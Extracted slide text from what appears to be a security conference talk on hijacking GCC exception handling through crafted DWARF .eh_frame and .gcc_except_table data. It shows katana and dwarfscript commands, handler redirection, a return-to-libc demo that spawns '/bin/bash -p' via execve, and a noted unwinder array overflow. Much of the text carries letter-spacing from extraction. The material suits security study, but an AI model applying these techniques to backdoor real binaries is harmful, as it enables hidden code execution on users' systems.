  • 35. An Assembly for Dwarfscript . . . and katana includes an assembler for [james@neutrino example1]$katana > $e=load "demo" Loaded ELF "demo" > $ehframe=dwarfscript compile "demo.dws" > replace section $e ".eh_frame" $ehframe[0] Replaced section ".eh_frame" > save $e "demo_rebuilt" Saved ELF object to "demo_rebuilt" > !chmod +x demo_rebuilt
  • 36. Dwarfscript Example b e g i n CIE We can modify all of these index : 1 CIE/FDE structures and version : 1 DWARF instructions. We d a t a a l i g n : −8 code align : 1 then compile the dwarfscript r e t u r n a d d r r u l e : 16 back into binary DWARF f d e p t r e n c : DW EH PE sdata4 , DW EH PE pcrel b e g i n INSTRUCTIONS information in an ELF DW CFA def cfa r 7 8 section using Katana. DW CFA offset r 1 6 1 end INSTRUCTIONS end CIE b e g i n FDE index : 0 cie index : 0 i n i t i a l l o c a t i o n : 0 x400824 a d d r e s s r a n g e : 0 xb9 l s d a p o i n t e r : 0 x400ab4 b e g i n INSTRUCTIONS DW CFA advance loc 1 D W C F A d e f c f a o f f s e t 16 DW CFA advance loc 3 DW CFA offset r 6 2 DW CFA def cfa register r6
  • 37. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 38. So What Can We Do With This? View and modify the unwind table instructions in a human-readable form. Control the path of unwinding (i.e. how the call stack is walked). w/o DWARF Expressions we could bypass one exception handler in favour of another (if we knew how far apart their call frames were). For example, if an FDE has the (very common) instructions DW CFA def cfa register r6 DW CFA offset r 1 6 1 We modify this to (arbitrarily assuming 5 words in the call frame, adjust as appropriate) DW CFA def cfa register r6 DW CFA offset r 1 6 6
  • 39. What Else Can We Do? With DWARF Expressions we can do so much! Redirect exceptions. Find functions/resolve symbols. Calculate relocations.
  • 40. Example Suppose function foo handles some thrown exception We want function bar to handle it instead From static analysis, we see bar lives at 0x600DF00D In the instructions for the FDE corresponding to foo we change DW CFA offset r 1 6 1 to DW CFA val expression r16 b e g i n EXPRESSION DW OP constu 0x600DF00D end EXPRESSION
  • 41. I Want To Do More! OK. So we can set registers and redirect unwinding. But how do we exit the unwinder? We found a function we want to stop at! Control of .eh frame alone is not enough. We still are only able to land in catch blocks. The DWARF standard doesn’t cover when to stop unwinding. Neither does the x86 64 ABI. Neither does the Linux Standards Base.
  • 42. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 43. .gcc except table [james@neutrino example1]$readelf -S demo ... [16] .eh_frame_hdr PROGBITS 00000000004009e8 000009e8 0000000000000024 0000000000000000 A 0 0 4 [17] .eh_frame PROGBITS 0000000000400a10 00000a10 00000000000000a4 0000000000000000 A 0 0 8 [18] .gcc_except_table PROGBITS 0000000000400ab4 00000ab4 0000000000000024 0000000000000000 A 0 0 4 ... We know .eh frame now. Ever wondered what you could do with .gcc except table?
  • 44. .gcc except table Holds “language specific data” i.e. information about where exception handlers live. Interpreted by the personality routine. Controls allows us to stop exception unwinding/propagation at any point. Unlike .eh frame, .gcc except table is not governed by any standard. Almost no documentation. What documentation there is resides mostly in verbose assembly generated by gcc.
  • 45. .gcc except table Assembly Generated by GCC The following assembly is generated by passing the flags --save-temps -fverbose-asm -dA to gcc when compiling. .section .gcc_except_table,"a",@progbits .align 4 .LLSDA963: .byte 0xff # @LPStart format (omit) .byte 0x3 # @TType format (udata4) .uleb128 .LLSDATT963−.LLSDATTD963 # @TType base offset .LLSDATTD963: .byte 0x1 # call−site format (uleb128) .uleb128 .LLSDACSE963−.LLSDACSB963 # Call−site table length .LLSDACSB963: .uleb128 .LEHB0−.LFB963 # region 0 start .uleb128 .LEHE0−.LEHB0 # length .uleb128 .L6−.LFB963 # landing pad .uleb128 0x1 # action .uleb128 .LEHB1−.LFB963 # region 1 start .uleb128 .LEHE1−.LEHB1 # length .uleb128 0x0 # landing pad .uleb128 0x0 # action .uleb128 .LEHB2−.LFB963 # region 2 start .uleb128 .LEHE2−.LEHB2 # length .uleb128 .L7−.LFB963 # landing pad .uleb128 0x0 # action .LLSDACSE963: .byte 0x1 # Action record table .byte 0x0 .align 4 .long _ZTIi
  • 46. .gcc except table Layout LPStart encoding LPStart TType format gcc_except_table TTBase a collection of language-specific data areas (LSDAs) LSDA Call Site format Call Site table size LSDA 0 Header Call Site Table Call Site Record 0 call site position LSDA 1 Action Table Call Site Record 1 call site length ... Type Table ... landing pad position LSDA n Call Site Record n first action action 0 type filter action 1 offset to next action Arrows indicate ... expansion for a closer action n look typeid 0 typeid 1 ... typeid n
  • 47. .gcc except table Dwarfscript An LSDA can be represented in dwarfscript. For example, the LSDA gcc generates for this snippet. #i n c l u d e <c s t d i o > i n t main ( i n t a r g c , c h a r ∗∗ a r g v ) { try { throw 1 ; } catch ( i n t a ) { p r i n t f ( ” Caught an i n t n” ) ; } catch ( char ∗ c ) { p r i n t f ( ” Caught a c h a r n” ) ; } } is as shown on the next slide
  • 48. .gcc except table Dwarfscript #LSDA 0 begin LSDA lpstart: 0x0 #call site 0 This is where the call site in .text begins, begin CALL_SITE relative to the beginning of the function. position: 0x30 length: 0x5 This is how long in bytes the call site is. landing_pad: 0x67 Where in .text execution is transfered to, has_action: true relative to the beginning of the function. first_action: 0 end CALL_SITE Index into the Action Table #call site 1 begin CALL_SITE position: 0x4f length: 0x2c landing_pad: 0x0 has_action: false No actions, unwinding will continue end CALL_SITE Boring call sites elided #action 0 begin ACTION Idx in Type Table of a type this handler type_idx: 0 can deal with. next: 1 Idx of next action in chain. end ACTION #action 1 begin ACTION type_idx: 1 next: none end ACTION #type entry 0 typeinfo: 0x600d80 Language-specific type identifier #type entry 1 typeinfo: 0x600d60 end LSDA
  • 49. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 50. Exception Handling Flow __cxa_allocate_exception in libstdc++ User Code throws __cxa_throw _Unwind_RaiseException in libstdc++ in libgcc __gxx_personality_v0 in libstdc++ unwind one frame read language specific data call personality routine if no handler, loop User Code return into handler catch block __cxa_begin_catch bookkeeping in libstdc++ handler body bookkeeping __cxa_end_catch in libstdc++ execution continues Most of this interface is standardized by ABI. The personality routine is language and implementation specific. How does libgcc know how to unwind? How is an exception handler recognized?
  • 51. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 52. What Can We Do With This? Backdoor a program that performs normally . . . . . . until an exception is thrown. Return from an exception anywhere in the program with control over most of the registers (including the frame-pointer). Modify no “executable” or normal program data sections.
  • 53. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 54. How the Demo Worked #i n c l u d e < s t d i o . h> #i n c l u d e < s t r i n g . h> #i n c l u d e < s t d l i b . h> void sayHello () { p r i n t f ( ” Hi shmoocon n” ) ; } v o i d sayGoodbye ( ) { p r i n t f ( ”Oh , oh , I s e e ! Ru nn in g away , eh ? You y e l l o w b a s t a r d s ! Co exit (0); } v o i d sayComment ( ) { p r i n t f ( ” W e l l t h i s i s b o r i n g s o f a r , i s n ' t i t ? n” ) ; } char b u f f e r [ 1 0 2 4 ] ; char ∗ getInput () { fgets ( buffer ,1024 , stdin ) ; b u f f e r [ s t r l e n ( b u f f e r ) −1]=0; // k i l l t r a i l i n g n e w l i n e return buffer ; }
  • 55. How the Demo Worked void doStuff () { p r i n t f ( ” Say s o m e t h i n g n” ) ; while (1) { c h a r ∗ whatToDo=g e t I n p u t ( ) ; i f ( ! s t r c m p ( whatToDo , ” h e l l o ” ) ) { sayHello (); } e l s e i f ( ! s t r c m p ( whatToDo , ” what ' s up ” ) ) { sayComment ( ) ; } e l s e i f ( ! s t r c m p ( whatToDo , ” b ye ” ) ) { sayGoodbye ( ) ; } else { t h r o w −1; } } } i n t main ( i n t a r g c , c h a r ∗∗ a r g v ) { try { doStuff ( ) ; } catch ( i n t a ) { p r i n t f ( ” U n e x p e c t e d i n p u t , c a u g h t c o d e %i n” , a ) ; } }
  • 56. How the Demo Worked Return-to-libc attack. Utilized a dynamic-linker built in DWARF to find the location of execvpe Used DWARF to set up the stack.
  • 57. Bring Your Own Linker Starting with the static address of the beginning of the linkmap, a DWARF expression can perform all the computations the dynamic linker does. The complete code is less than 200 bytes and uses less than 20 words of the computation stack. DW CFA val expression r6 b e g i n EXPRESSION DW OP constu 0 x601218 #t h e a d d r e s s where we w i l l f i n d #t h e a d d r e s s o f t h e l i n k m a p . T h i s i s 8 more t h a n t h e #v a l u e o f PLTGOT i n . dynamic DW OP deref #d e r e f e r e n c e ab ov e DW OP lit5 DW OP swap DW OP lit24 DW OP plus DW OP deref .....
  • 58. Jump to a Convenient Place We choose a specific offset into execvpe where we will be able to set up registers that DWARF lets us control. a074d : 4c 89 e2 mov %r12 ,% r d x a0750 : 48 89 de mov %rbx ,% r s i a0753 : 4c 89 f7 mov %r14 ,% r d i a0756 : e8 35 f9 f f f f callq a0090 <e x e c v e >
  • 59. Data for the Shell We inserted the name of the symbol we wanted (execvpe) and arguments to it into extra space in .gcc except table. [james@electron demo]$hexdump -C shell.dat 00000000 2f 62 69 6e 2f 62 61 73 68 00 2d 70 00 00 2c 0f |/bin/bash.-p..,.| 00000010 40 00 00 00 00 00 36 0f 40 00 00 00 00 00 00 00 |@.....6.@.......| 00000020 00 00 00 00 00 00 65 78 65 63 76 70 65 |......execvpe| 0000002d
  • 60. Setting up Arguments These are the arguments to execve. Note that DWARF register r3 maps to rbx DW CFA val expression r14 b e g i n EXPRESSION #s e t t o a d d r e s s o f / b i n / b a s h DW OP constu 0 x 4 0 0 f 2 c end EXPRESSION DW CFA val expression r3 b e g i n EXPRESSION #s e t t o a d d r e s s o f a d d r e s s o f s t r i n g a r r a y −p DW OP constu 0 x 4 0 0 f 3 a end EXPRESSION DW CFA val expression r12 b e g i n EXPRESSION #s e t t o NULL p o i n t e r DW OP constu 0 end EXPRESSION
  • 61. Return-to-Libc We have put arguments to execve into registers. We have located a place in execvpe that passes those registers to execve. Now we just need to get there. Can’t modify the .gcc except table for libc. Due to computations in libstdc++, all these computed register values will be on the stack. We point the stack pointer to just lower than our calculated address in execvpe Modify the landing pad in .gcc except table to return us right before a ret instruction.
  • 62. Return-to-Libc ... execvpe user program libstdc++ Now we get a shell!
  • 63. Limitations Only caller-saved registers are restored. This makes entering a function with arbitrary arguments difficult. Limited space to work with in .eh frame. Pruning as a result. Difficult to debug. Assumptions specific to target system.
  • 64. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 65. Corruption Everything we’ve discussed so far deals with valid ELF files, valid DWARF files, playing entirely within the rules that have been defined. What if our DWARF data violated assumptions made by gcc’s VM? What if we could corrupt a process to replace the exception handling data?
  • 66. Fake EH How do libgcc/libstdc++ know where to find .eh frame anyway? .eh frame hdr points to .eh frame The location of .eh frame hdr is specified by the GNU EH FRAME program header which is retrieved via dl iterate phdr libgcc caches this value If we overwrite the cached value (after an exception has been thrown) we can at runtime inject arbitrary DWARF code run when the next exception is thrown. The data injection is nontrivial. libgcc exports no data symbols. After an exception is thrown and handled, addresses of text locations in libgcc will exist below the stack (i.e. in “unused” areas).
  • 67. Crafted DWARF Instructions DW CFA offset extended and some other instructions are vulnerable to array overflow. From gcc/unwind-dw2.c: case DW CFA offset extended : i n s n p t r = r e a d u l e b 1 2 8 ( i n s n p t r , &r e g ) ; i n s n p t r = r e a d u l e b 1 2 8 ( i n s n p t r , &utmp ) ; o f f s e t = ( Unwind Sword ) utmp ∗ f s −>d a t a a l i g n ; f s −>r e g s . r e g [ DWARF REG TO UNWIND COLUMN ( r e g ) ] . how = REG SAVED OFFSET ; f s −>r e g s . r e g [ DWARF REG TO UNWIND COLUMN ( r e g ) ] . l o c . break ; We can achieve fairly arbitrary writes to the stack with crafted Dwarfscript.
  • 68. Outline Executive Summary Demo Let’s Dig Deeper Why We Care: Exceptions DWARF eh frame DWARF Bytecode, Instructions, Expressions Our Dwarfscript and its Assembler Hijacking Exceptions GCC Exception Table How Exception Handling Works What Dwarfscript Can Do With It How the Demo Worked Corruption Conclusions
  • 69. The Road Goes Ever On And On What has been demonstrated so far is a trojan technique, but there are additional paths forward. For older gcc versions, .eh frame and .gcc except table writeable at runtime in PIC code. Further develop fake .eh frame insertion as an alternative to ROP.
  • 70. Inspirations We owe a debt of thanks to many other projects and articles which have inspired us. Among these are: elfsh and the ERESI project. The Grugq. Cheating the ELF Nergal. The advanced return-into-lib(c) exploits: PaX case study Skape. LOCREATE. For showing the power of overlooked automata.
  • 71. Further Reading Slides and code will be made available at http://cs.dartmouth.edu/~electron/dwarf There are ELFs and DWARFs but no ORCs (yet anyway) Further Reading The DWARF Standard http://dwarfstd.org The x86 64 ABI (or the relevant ABI for your platform) The Linux Standards Base The gcc source code and mailing lists Questions?